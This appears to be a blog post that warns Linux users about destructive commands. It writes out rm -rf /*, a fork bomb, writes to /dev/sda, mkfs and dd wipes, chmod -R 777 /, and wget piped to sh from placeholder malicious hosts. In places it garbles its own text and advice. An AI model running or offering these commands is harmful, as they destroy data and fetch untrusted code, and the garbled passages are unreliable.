As opposed to Windows or some other operating system, the Linux operating system gives the users greater freedom. Although the Linux operating system provides certain seasoned developers with the freedom to carry out operations, it can even limit the freedom given to these developers. Linux, like all other technology, has advantages and disadvantages. It's critical that the consumer has
Don't use these Linux commands, but get to know what are the commands that you should never use. Before performing any instructions, the operator must have a thorough knowledge of both secure and lethal commands. Here, we'll go through the dangerous commands that you can never use until you really understand what they mean.
The rm -rf command is one of the quickest ways to uninstall a folder and its contents. It has grown in popularity over the years since it eliminates the mistake that occurs in Windows when a file or folder is removed. This command deletes everything on the file, folder, or hard disc on which it is run. Let's break down the command and figure out what it actually means:
rm
– Remove all the files in locations given.
-rf
– This command is further divided into two parts: r
and f
. r
stand for removing all the files recursively while f
stands for a force which means that delete all the files without prompting the user.
There are a number of variations of this command available over the internet. It is important to understand that one should know what a command does once running on a specific folder or the data can be lost. Data lost from this command cannot be recovered in any way.
rm
– This command is used to delete files all the files in the path that you will provide
rm -r
– This command is used to delete files recursively from all directories and sub-directories in Linux Operation System.
rm -f
– This command is used to delete files on the path provided without prompting the user. This also includes deleting the “Read Only Files”.
rm -rf /
– This is one of the most dangerous commands as the / refers to the root directory of the operating system. Once this command is run, it deletes all the content of the root directory forcefully and recursively. Thus, all your directories and subdirectories will be deleted and the data will be lost.
rm -rf *
– This command forcefully deletes all the data in the working directory.
rm -rf.
– This command forcefully deletes the files in the current working directory as well as sub-directories. It also removes all the configuration files in the directory.
rm -rf /*
: this is the command that removes everything from the Directory that you have mentioned but this particular command just removes it all.
Some Example that you can do on a Linux Virtual Machine or the Container.
$ mkdir some_new_directory_to_delete
$ cd some_new_directory_to_delete
$ gedit new1.txt
$ rm -rf /*
now in the last command the * is forcing the command to happen.
but if you just go and do the / only it will give you the warning saying it doesn't work, its risky thus * is the magic here.
If you want to remove all the file system then you can add sudo
and write the command sudo rm -rf /*
, sudo here is the root access privilege where this gives a control of all the file system on the computer.
Thus, afterwards even the least of the known commands in the Linux terminal which was working before you wrote these commands like ls
, pwd
and many more even the GUI aspects will be lost, like the icons and the other functionality just a bare kernel even worse than your container will be made available to you if you are not lucky.After wards when you try to log back in you will find that you will not be able to login back once again.Thus if you have a image that you want like the "OVA file" Open Virtual Appliance (OVA).For distribution purposes, OVA files are essentially an OVF directory stored in a single folder using. TAR packing. OVA files are often referred to as Open Virtual Applications. File Viewer for Android supports over 150 file formats.
if you have a ESXI(ESXi stands for Elastic Sky X Integrated is an enterprise server virtualization platform by VMware) host then you need to back up some things and work with it and there are a lot of YouTube videos do see them and try taking a backup but in virtual box its very simple just copy and save the OVA file.
rm -rf /
The order rm -rf / deletes everything it can find, including files on your hard drive and removable media players. This command is easier to grasp if it is broken down:
Linux will gladly follow this order and uninstall all without asking you, but use it with caution! The rm command can also be used in risky ways, such as deleting all files in your home folder with rm –rf, or deleting all setup files with rm -rf.*.
- Fork Bomb Since Linux is based on Bash, it is important to consider what the command can do to your machine before running it. This is a basic bash function that, when run, makes copies of itself, and then makes more copies of itself. This takes up CPU time and memory. As a result, it runs recursively before the system crashes.
:(){:|:&};:
Overwrite Hard Drive (If you accidentally or mistakenly executed the following instruction on your hard disc, recovery is almost impossible.)
> dev/sda
this is a simple command that will ruin your hardisk.
example of the command: <command> > dev/sda
This command writes raw data to the specified hard drive. As a consequence, data on the hard drive or partition specified in the command is lost. Let's split down the command into pieces so we can grasp what each one does.
<command>
- can be anything where as a file or This can be any command entered by the user.
> - This is in charge of transmitting the command's output to the specified location.
dev/sda -The command's output will be written to this spot.As a result, before running the script, you should understand what it would do to your operating system and hard drive. Furthermore, avoid using commands that require the hard drive positions, such as dev/sda.
mkfs.ext4 /dev/sda1
mkfs.ext4 – On the following screen, create a new ext4 file system.
/dev/sda1 – The first partition on the first hard disc, and is most often in operation.
This instruction, when combined, is similar to running format c: on Windows – it will erase the files on the first partition and replace them with a new file system.
This command may also take other forms: mkfs.ext3 /dev/sdb2 will use the ext3 file system to format the second partition on the second hard drive.
The Takeaway: Be cautious when executing commands directly on hard disc machines that begin with w.
The Key Takeaway: Exercise caution when executing commands directly on hard disc machines that begin with /dev/sd.
There are more than one way to break your hard disc. dev/null
is a special position in any Linux machine that is denoted as a black hole. Anything that is moved into this black hole is lost. If you mistakenly transferred your data to this folder, you will not be able to restore it.
mv /home/root/* dev/null
mv - This command is used for moving a folder to another location
/home/root/*
– This is the path to the folder that will be relocated.
dev/null – The black hole is a special spot.
As a result, you should use caution when using the move button. Check that the place to which you are transferring your folder occurs on the system.
> /dev/sda
this command will write directly on hardisk /SSD.
Similarly, the command > /dev/sda line executes a command and sends the results of that command directly to the first hard drive, writing data to the hard disc drive and destroying your file system.
example : command > /dev/sda
command
– Execute a command (can be any command that you wish.)
>
– Direct the command's output to the following spot.
/dev/sda
– Directly write the command's output to the hard disc drive.
Flush file content on the directory is one method.
>file_name
: If you've ever run a command of the above-mentioned kind, you'll notice that the contents of the listed file have been flushed. Since “>” is in charge of flushing the contents of the file, double-check the command you're running.
Writing random file or the memeory on the Harddisk: dd if=/dev/random of=/dev/sda
dd
– Copy data from one site to another at a low level.dd
copies data from one location to another, which can be dangerous if you’re copying directly to a device.
if=/dev/random
– Use /dev/random
(random data) as the input – you can also see /dev/zero (zeros).
=/dev/sda
– Write to the first hard disc, overwriting the file system with arbitrary garbage files.
Chmod -R 777/
: This command does not physically damage the system in the same way as any of the other commands mentioned in each section, but it does have a security violation on the system. By running this instruction, you are allowing all machine users to read, write, and execute data on your file system. As a result, use this command with caution.
Internet can also be a very disgusting thing sometimes thus :A script from the internet and sends it to sh
, which executes the script's contents This is risky if you don't know what the script is or if you don't trust the author – never run untrusted scripts.
wget
– This command downloads a file. (Curl can also be used in place of wget.)
http://malfiles.com/your_voucher
– Formalized adverbial adverbial ad This is where you can get the file.
|
– Explicitly pipe (send) the wget command's output (the file you downloaded) to another command.
sh
– Run the file via the sh command, which will execute it if it is a bash script.
So don’t download and run untrusted scripts from the web, even with a command.
wget http://malicious_source -o- | sh
wget http://example.com/something -o- | sh -
wget http: //an-untrusted-url -o- | sh
Do you know of any other risky commands that recent (and experienced) Linux users can avoid using? So leave a comment and post them! I hope that this specific knowledge about the lethal commands prevents you from missing data from your device. Let us know whether this was helpful or not in the comments section below.
Top comments (0)